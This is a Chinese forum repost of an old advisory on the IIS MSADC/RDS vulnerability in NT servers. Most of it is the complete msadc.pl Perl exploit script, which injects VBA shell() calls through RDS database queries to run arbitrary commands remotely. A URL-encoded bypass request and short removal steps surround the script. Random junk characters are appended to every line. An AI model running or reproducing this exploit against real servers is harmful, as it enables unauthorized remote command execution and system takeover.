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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \>\ERVEd  
whN<{AG  
涉及程序: >JNdtP8s/1  
Microsoft NT server CL7_3^2qI  
\6AM?}v  
描述: rX^uHq8  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 N(i.E5&9  
C#[P<=v  
详细: vAP1PQX;  
如果你没有时间读详细内容的话,就删除: b|V <Kp  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &am<_Tn*3  
有关的安全问题就没有了。 fx>QP?Z  
1TEKq#t;y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  }se3y  
I`+,I`~u  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 "uplk8iCJ  
关于利用ODBC远程漏洞的描述,请参看: ?0 cv  
ByE@4+9  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [$} \Gv  
_gH$ ,.j/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ho#nM_ q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp bRggt6$z  
 `\##M=  
这里不再论述。 `)$G}7cRUH  
8i^ ./P  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: n+ H2cl }  
n3? msY(*  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset H{*rV>%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! |J@ &lBlq  
P\@kqf~pC  
uNEl]Q]<e]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" mY=sh{ir  
*|q{(KX  
#!perl B3yTN6-  
# `s69p'<;p  
# MSADC/RDS 'usage' (aka exploit) script "kFNOyj3\  
# NVQ.;"2w  
# by rain.forest.puppy $J<WFDn9  
# \R9izuc9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me [zl4"|_`  
# beta test and find errors! 'Jek< 5  
!5'4FUlJ  
use Socket; use Getopt::Std; s3sD7 @  
getopts("e:vd:h:XR", \%args); b*tb$F  
Js:U1q  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ;I@\}!%H  
/)RH-_63  
if (!defined $args{h} && !defined $args{R}) { | oOAy  
print qq~ 3zmbx~| =\  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $[Ut])4 ~  
-h <host> = host you want to scan (ip or domain) .p Mwa  
-d <seconds> = delay between calls, default 1 second :W>PKW`^  
-X = dump Index Server path table, if available =i}lh}(  
-v = verbose 8,F|*YA  
-e = external dictionary file for step 5 Aua}.Fl,  
UvU@3[fw  
Or a -R will resume a command session $KT)Kz8tF  
)zy ;!  
~; exit;} <l!:#u  
h=6D=6c  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; amExZ/  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} s;l"'6:_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} & E6V'*<93  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); mcidA%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o&M.9V?~~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } _PGd\>Ve  
W!"QtEJ,  
if (!defined $args{R}){ $ret = &has_msadc; !5h8sD;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d"E3ypPK  
_B^X3EOc  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Xk'Pc0@a  
. "cmd /c "; ' -9=>  
$in=<STDIN>; chomp $in; O> _ F   
$command="cmd /c " . $in ; qnQ".  
y8C8~-&OK  
if (defined $args{R}) {&load; exit;} 'C`Ykjf  
4*o?2P$Q  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _u;pD-  
&try_btcustmr; G$KQgUN~[  
hi(e%da  
print "\nStep 2: Trying to make our own DSN..."; cL%"AVsj >  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >hSu1s:  
RX_f[  
print "\nStep 3: Trying known DSNs..."; ~xDu2 -5  
&known_dsn; !/a6;:_y  
O3T7O`H[  
print "\nStep 4: Trying known .mdbs..."; k{S8q?Gc  
&known_mdb; C[jX;//Jiu  
Qc!3y>Y=_  
if (defined $args{e}){ F?jD5M08t/  
print "\nStep 5: Trying dictionary of DSN names..."; _cC!rq U1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *ZLisq-f  
T*8 S7l  
print "Sorry Charley...maybe next time?\n"; KJ S-{ed  
exit; gMZ+kP`  
_NwHT`O[  
############################################################################## br TP}A  
#*w)rGkU2  
sub sendraw { # ripped and modded from whisker Ahbh,U  
sleep($delay); # it's a DoS on the server! At least on mine... {98e_z w  
my ($pstr)=@_; O0 Uh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k' Fu&r  
die("Socket problems\n"); A)j!Wgs^z  
if(connect(S,pack "SnA4x8",2,80,$target)){  ~H   
select(S); $|=1; }kItVx  
print $pstr; my @in=<S>; n'q:L(`M  
select(STDOUT); close(S); 5`:d$rv  
return @in; Fv)E:PnKC  
} else { die("Can't connect...\n"); }} g)ZMU^1  
sV5") /~  
############################################################################## yZm=#.f  
5}w   
sub make_header { # make the HTTP request f52P1V]  
my $msadc=<<EOT f9},d1k  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 OAiv3"p  
User-Agent: ACTIVEDATA JKrS;J^97v  
Host: $ip ~b X~_\  
Content-Length: $clen .}Xf<G&  
Connection: Keep-Alive yH43Yo#Rk  
@TXLg2  
ADCClientVersion:01.06 Ac*J;fI  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 \/\w|j  
%K=_  
--!ADM!ROX!YOUR!WORLD! Wb cm1I)  
Content-Type: application/x-varg =O8>[u;  
Content-Length: $reqlen }(XKy!G6  
RjgJIVm(  
EOT :?y Ma$  
; $msadc=~s/\n/\r\n/g; +?Cy8Ev?  
return $msadc;} YAeF*vP  
_/%,cYVc8!  
############################################################################## }a9G,@:k  
"lt5gu!`u  
sub make_req { # make the RDS request :/Es%z D  
my ($switch, $p1, $p2)=@_; >mR8@kob<  
my $req=""; my $t1, $t2, $query, $dsn; 34N~<-9AY  
wYV>Qd Z  
if ($switch==1){ # this is the btcustmr.mdb query uPYH3<  
$query="Select * from Customers where City=" . make_shell(); < FO=PM  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1kUlQ*[<|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} UuF(n$B  
y:Of~ ]9@  
elsif ($switch==2){ # this is general make table query FINHO058^Y  
$query="create table AZZ (B int, C varchar(10))"; PXJ7Ek*/  
$dsn="$p1";} WK7?~R%rq  
7OG:G z+)x  
elsif ($switch==3){ # this is general exploit table query gGMQRRq  
$query="select * from AZZ where C=" . make_shell(); s0D4K  
$dsn="$p1";} jf)l; \u  
\weg%a  
elsif ($switch==4){ # attempt to hork file info from index server tk=S4 /VWv  
$query="select path from scope()"; YOrq)_ l  
$dsn="Provider=MSIDXS;";} 7:b.c  
eMFxdtH  
elsif ($switch==5){ # bad query { %]imf|g.  
$query="select"; |KS,k|).  
$dsn="$p1";} %OO}0OW  
mb1c9  
$t1= make_unicode($query); V?wV*]c  
$t2= make_unicode($dsn); 3b]M\ F9  
$req = "\x02\x00\x03\x00"; R)\^*tkz7  
$req.= "\x08\x00" . pack ("S1", length($t1)); BbC O K  
$req.= "\x00\x00" . $t1 ; woP j>M  
$req.= "\x08\x00" . pack ("S1", length($t2)); Za3}:7`Gu  
$req.= "\x00\x00" . $t2 ; .PR+_a-X  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {]dtA&8(  
return $req;} 7[u>#8  
2u!&Te(!9  
############################################################################## $of2lA  
XM` H@s7  
sub make_shell { # this makes the shell() statement yzzJKucVU:  
return "'|shell(\"$command\")|'";} YC56] Zp  
4G&dBH  
############################################################################## iT,7jd?6#  
2E!~RjxSY  
sub make_unicode { # quick little function to convert to unicode btq 4diW  
my ($in)=@_; my $out; nQ_{IO8/6W  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~ ) w4Tq  
return $out;} 6(4d3}F  
6X m'^T  
############################################################################## T :m" eD;  
CPRVSN0b{4  
sub rdo_success { # checks for RDO return success (this is kludge) { $yju_[  
my (@in) = @_; my $base=content_start(@in); /"j 3B\`?  
if($in[$base]=~/multipart\/mixed/){ ;`:YZ+2 Z  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1,bE[_  
return 0;} ,#&7+e!]>P  
5Lej_uqF   
############################################################################## T>L?\-  
lG94^|U  
sub make_dsn { # this makes a DSN for us A( vdlj  
my @drives=("c","d","e","f"); YE{t?Y\5  
print "\nMaking DSN: "; *`Vmncv3  
foreach $drive (@drives) { `V\?YS}  
print "$drive: "; *tEqu%N1'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . H;=Fq+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" {A:uy  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); DR:$urU$  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }AJoF41X  
return 0 if $2 eq "404"; # not found/doesn't exist hp9U   
if($2 eq "200") { A!x&,<  
foreach $line (@results) { a6e{bAuq  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Q-gVg%'7  
} return 0;} m Jk\$/Kh  
)(-;H|]?  
############################################################################## gC/ e]7FNr  
Uza '%R  
sub verify_exists { :Z6j5V;s  
my ($page)=@_; TSsZzsdr2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %KT}Map  
return $results[0];} @CL#B98jl  
1H/I-  
############################################################################## 'EAskA] *  
Kmx^\vDs  
sub try_btcustmr { U{hu7  
my @drives=("c","d","e","f"); er)I".|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xzf,S;XV~  
oYStf5  
foreach $dir (@dirs) { S\&3t}_  
print "$dir -> "; # fun status so you can see progress `;;l {8  
foreach $drive (@drives) { %g.cE}^  
print "$drive: "; # ditto uy3<2L#.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; wAprksZL#  
$reqlenlen=length( "$reqlen" ); &gY) x{  
$clen= 206 + $reqlenlen + $reqlen; #Q^" .#  
}a6t<m`V  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); VoZ{I{>|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} qVE0[ve  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~RuX2u-2&u  
c!4F0(n4  
############################################################################## AT~,  
E3wL n/<  
sub odbc_error { M }d:B)cz  
my (@in)=@_; my $base; M[YFyM(  
my $base = content_start(@in); A:r?#7 Ma  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~&73f7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "/i$_vl  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; - Fbp!*. u  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YoKyiO!   
return $in[$base+4].$in[$base+5].$in[$base+6];} +)jll#}?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _q27 3QG/"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . &HM-UC|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X&qx4 DL  
k*hl"oL"X  
############################################################################## lZcNio  
UPfO;Z`hJ  
sub verbose { Z,38eQpM  
my ($in)=@_; 0d9z8y  
return if !$verbose; 8I#ir4z#<  
print STDOUT "\n$in\n";} P#~B @d  
Vi8A4  
############################################################################## :/;/mHG]  
EE!}$qOR  
sub save { [!A[oK9i C  
my ($p1, $p2, $p3, $p4)=@_; :-k|jt  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `R[ZY!=+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &&X,1/  
close OUT;} M`Er&nQs  
b]+F/@h~]  
############################################################################## (G>[A}-  
Z nc(Q  
sub load { Yv;s3>r  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; lrT2*$ w3  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )S)L9('IxT  
@p=<IN>; close(IN); tF0jH+7J-  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); B;1qy[  
$target= inet_aton($ip) || die("inet_aton problems"); ~.m<`~u  
print "Resuming to $ip ..."; F3qK6Ah.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; /9w>:i81  
if($p[1]==1) { }9'`3vsJ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; o|(5Sr&H  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; NXY jb(4:  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); I#M3cI!X?  
if (rdo_success(@results)){print "Success!\n";} ;!4gDvm  
else { print "failed\n"; verbose(odbc_error(@results));}} M<fhQJ  
elsif ($p[1]==3){ `a& kD|Yh  
if(run_query("$p[3]")){ FM@iIlY"  
print "Success!\n";} else { print "failed\n"; }} K T}  
elsif ($p[1]==4){ &r5q,l&@n  
if(run_query($drvst . "$p[3]")){ 5yy:JTAH5  
print "Success!\n"; } else { print "failed\n"; }} 18>cfDh;N  
exit;} %t9C  
DmiBM6t3N  
############################################################################## jhNFaBrS  
0CrsZtX  
sub create_table { p~qe/  
my ($in)=@_; Z'JS@dV  
$reqlen=length( make_req(2,$in,"") ) - 28; B[t^u\Fk  
$reqlenlen=length( "$reqlen" ); S\e&xUA;|  
$clen= 206 + $reqlenlen + $reqlen; xAQtX=FoX+  
my @results=sendraw(make_header() . make_req(2,$in,"")); |W">&Rb<t#  
return 1 if rdo_success(@results); .V?:&_}_I6  
my $temp= odbc_error(@results); verbose($temp); W(s4R,j  
return 1 if $temp=~/Table 'AZZ' already exists/; |^pev2g  
return 0;} 9E!le=>  
Sjpx G@k  
############################################################################## kXMp()N8`  
G'ykcB._  
sub known_dsn { :gh[BeqQ)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?{{w[U6NE  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |cPHl+$nh.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "ZuuSi  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &XP(D5lf`B  
Bh>L"'.2  
foreach $dSn (@dsns) { d8j1L/e  
print ".";  P#,u9EIJ  
next if (!is_access("DSN=$dSn"));  QHEtG2  
if(create_table("DSN=$dSn")){ kmI0V[Y  
print "$dSn successful\n"; q+ $6D;9  
if(run_query("DSN=$dSn")){ Sqo+cZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Jg6Lr~!i  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {4Of.  
Hcq.Lq;2:  
############################################################################## 'rD6MY  
La26"C"X  
sub is_access { P3$eomX'  
my ($in)=@_; <B"sp r&1  
$reqlen=length( make_req(5,$in,"") ) - 28; kI{DxuTad  
$reqlenlen=length( "$reqlen" ); 4q$~3C[  
$clen= 206 + $reqlenlen + $reqlen; `@]s[1?f  
my @results=sendraw(make_header() . make_req(5,$in,"")); K2x[ApS#  
my $temp= odbc_error(@results); kI\m0];KnQ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); -Mt 5< s  
return 0;} [4Z 31v>  
XpQOl  
############################################################################## S&op|Z)1  
U=on}W3V 2  
sub run_query { gV_/t+jI  
my ($in)=@_; 9(CvGzco <  
$reqlen=length( make_req(3,$in,"") ) - 28; |y\Km  
$reqlenlen=length( "$reqlen" ); (!os &/",  
$clen= 206 + $reqlenlen + $reqlen; lq/2Y4LE)  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5Wt){rG0Z  
return 1 if rdo_success(@results); 5gszAvOO  
my $temp= odbc_error(@results); verbose($temp); H"P b)t  
return 0;} gg;r;3u  
E h%61/  
############################################################################## 5jdZC(q5a  
qt GJJ#^,  
sub known_mdb { .1x04Np!  
my @drives=("c","d","e","f","g"); ^rkKE dd  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PxHFH pL  
my $dir, $drive, $mdb; !Brtao"m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; N+-Tp&:wY  
DHidI\*gT  
# this is sparse, because I don't know of many LSo!_tY  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #Ondhy%h[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", z`y9<+  
"\\system32\\certmdb.mdb", YeX*IZX8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% i%glQT  
+8=$-E=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =lXj%V^8N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ?0tg}0|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", da{]B5p\  
"\\cfusion\\cfapps\\security\\realm_.mdb", $EMOz=)I#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", s:`i~hjq  
"\\cfusion\\database\\cfexamples.mdb", 85{m+1O~  
"\\cfusion\\database\\cfsnippets.mdb", <_tmkLeZf  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", cw;wv+|k  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", T X`X5j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xS18t="  
"\\cfusion\\database\\smpolicy.mdb", 3:%k pnO  
"\\cfusion\\database\cypress.mdb", jjpYg  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *OVB;]D3+  
"\\website\\cgi-win\\dbsample.mdb", ^6 6!f 5^W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H^_,e= j  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N!A20Bv  
); #these are just 2 pS<;k`  
foreach $drive (@drives) { *p l6 V|  
foreach $dir (@dirs){ LzygupxY!  
foreach $mdb (@sysmdbs) { FoefBo?g65  
print "."; OfsP5*d  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 3JoY-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; z(PUoV:?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZTC>Ufu2!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Vs>Pv$kW  
} else { print "Something's borked. Use verbose next time\n"; }}}}} w7nt $L5  
#XV=,81w  
foreach $drive (@drives) { ,CO2d)}  
foreach $mdb (@mdbs) { vG&>- Z  
print "."; yev!Nw  
if(create_table($drv . $drive . $dir . $mdb)){ Vla,avON  
print "\n" . $drive . $dir . $mdb . " successful\n"; IS C.~q2  
if(run_query($drv . $drive . $dir . $mdb)){ l}{{7~C`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; BT_]=\zi  
} else { print "Something's borked. Use verbose next time\n"; }}}} ]]xKc5CT  
} Ku;fZN[g  
^-;S&=  
############################################################################## wZrFu(_  
xQ?>72grP  
sub hork_idx { myx/|-V"F  
print "\nAttempting to dump Index Server tables...\n"; !Jg;%%E3:i  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; (Guzj*12  
$reqlen=length( make_req(4,"","") ) - 28; ]{-.?W*$  
$reqlenlen=length( "$reqlen" ); e r" w{  
$clen= 206 + $reqlenlen + $reqlen; 3f|}p{3  
my @results=sendraw2(make_header() . make_req(4,"","")); 7GA8sK  
if (rdo_success(@results)){ c0Ug5Vr  
my $max=@results; my $c; my %d; ia6 jiW x  
for($c=19; $c<$max; $c++){ ,,3lH-C  
$results[$c]=~s/\x00//g; PN}+LOD<t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #mH@ /6,#[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :,BAw ,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5<?Ah+1  
$d{"$1$2"}="";} 337.' |ZE  
foreach $c (keys %d){ print "$c\n"; } ROO*/OOd  
} else {print "Index server doesn't seem to be installed.\n"; }} Z\$Hg G  
uL'f8Pqg  
############################################################################## N_t,n^i9>*  
(1/Sf&2i  
sub dsn_dict { 570Xk\R@M  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); jiI=tg;  
while(<IN>){ # @\3{;{R  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; wcHk]mLM  
next if (!is_access("DSN=$dSn")); FOaA}D `]  
if(create_table("DSN=$dSn")){ P \7DA4]  
print "$dSn successful\n"; 5f0M{J,KC  
if(run_query("DSN=$dSn")){ <H[w0Z$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \u=d`}E  
print "Something's borked. Use verbose next time\n";}}} `At.$3B  
print "\n"; close(IN);} 2Gyq40  
>Wg= Tuef  
############################################################################## D(cD8fn,J  
AbU`wr/h 4  
sub sendraw2 { # ripped and modded from whisker HKN|pO3v  
sleep($delay); # it's a DoS on the server! At least on mine... %V_ XY+o  
my ($pstr)=@_; dQX-s=XJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D{9a'0J  
die("Socket problems\n"); egmUUuO  
if(connect(S,pack "SnA4x8",2,80,$target)){ uH_KOiF  
print "Connected. Getting data"; '.}}k!#  
open(OUT,">raw.out"); my @in; w7)pBsI  
select(S); $|=1; print $pstr; ~Ps*i]n(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} G T>'|~e  
close(OUT); select(STDOUT); close(S); return @in; 1=VyD<dNG6  
} else { die("Can't connect...\n"); }} ,f03TBD}  
OM'iJB6=  
############################################################################## 8jK=A2pTa  
glAS$<  
sub content_start { # this will take in the server headers s|YH_1r  
my (@in)=@_; my $c; h y rPu_  
for ($c=1;$c<500;$c++) { 0 _!0\d#c  
if($in[$c] =~/^\x0d\x0a/){ 7KtU\u  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } "+DA)K  
else { return $c+1; }}} ]aN9mT N  
return -1;} # it should never get here actually ,@"yr>Q9#6  
*i#2>=)  
############################################################################## Zy0M\-Mn  
VPN 9 Ql=  
sub funky { zzG=!JR  
my (@in)=@_; my $error=odbc_error(@in); PW*Vfjf4  
if($error=~/ADO could not find the specified provider/){ x;ik   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; K'OG-fn;  
exit;} =dm9+ff  
if($error=~/A Handler is required/){ =fSTncq  
print "\nServer has custom handler filters (they most likely are patched)\n"; o)Q4+njT@  
exit;} XY0kd&N8  
if($error=~/specified Handler has denied Access/){ P0N/bp2Uy  
print "\nServer has custom handler filters (they most likely are patched)\n"; /Qgb t  
exit;}} Z;+,hR((  
tpI/I bq  
############################################################################## 2[ sY?C  
tqZ91QpW  
sub has_msadc { s/1r{;q  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 88Pt"[{1  
my $base=content_start(@results); hV3]1E21"  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _/[qBe  
return 0;} +|?a7qM  
&BVUK"}P  
######################## e\)%<G5  
ui]iO p  
01Jav~WR  
解决方案: >N3X/8KL%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll C&O8fNB_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6O4 *OR<&  
3qV^RW&  
拿出来充数 哈哈
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